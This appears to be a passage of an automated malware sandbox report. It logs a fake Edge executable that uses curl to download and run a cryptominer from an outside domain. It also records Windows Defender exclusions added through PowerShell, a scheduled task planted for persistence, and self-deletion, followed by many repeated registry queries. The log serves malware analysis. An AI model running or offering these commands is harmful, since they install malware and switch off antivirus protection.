Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\miner2.0.exe miner2.0.exe
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\services64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\Microsoft\Libs\sihost64.exe "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\Microsoft\Libs\sihost64.exe "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3

Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -command add-mppreference -exclusionpath '%userprofile%' & powershell -command add-mppreference -exclusionpath '%appdata%' & powershell -command add-mppreference -exclusionpath '%temp%' & powershell -command add-mppreference -exclusionpath '%systemroot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -command add-mppreference -exclusionpath '%userprofile%' & powershell -command add-mppreference -exclusionpath '%appdata%' & powershell -command add-mppreference -exclusionpath '%temp%' & powershell -command add-mppreference -exclusionpath '%systemroot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -command add-mppreference -exclusionpath '%userprofile%' & powershell -command add-mppreference -exclusionpath '%appdata%' & powershell -command add-mppreference -exclusionpath '%temp%' & powershell -command add-mppreference -exclusionpath '%systemroot%' & exit
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -command add-mppreference -exclusionpath '%userprofile%' & powershell -command add-mppreference -exclusionpath '%appdata%' & powershell -command add-mppreference -exclusionpath '%temp%' & powershell -command add-mppreference -exclusionpath '%systemroot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -command add-mppreference -exclusionpath '%userprofile%' & powershell -command add-mppreference -exclusionpath '%appdata%' & powershell -command add-mppreference -exclusionpath '%temp%' & powershell -command add-mppreference -exclusionpath '%systemroot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -command add-mppreference -exclusionpath '%userprofile%' & powershell -command add-mppreference -exclusionpath '%appdata%' & powershell -command add-mppreference -exclusionpath '%temp%' & powershell -command add-mppreference -exclusionpath '%systemroot%' & exit

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Code function: 7_2_00401550 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

7_2_00401550

Source: axplong.exe, axplong.exe, 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00C3D312 cpuid

6_2_00C3D312

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
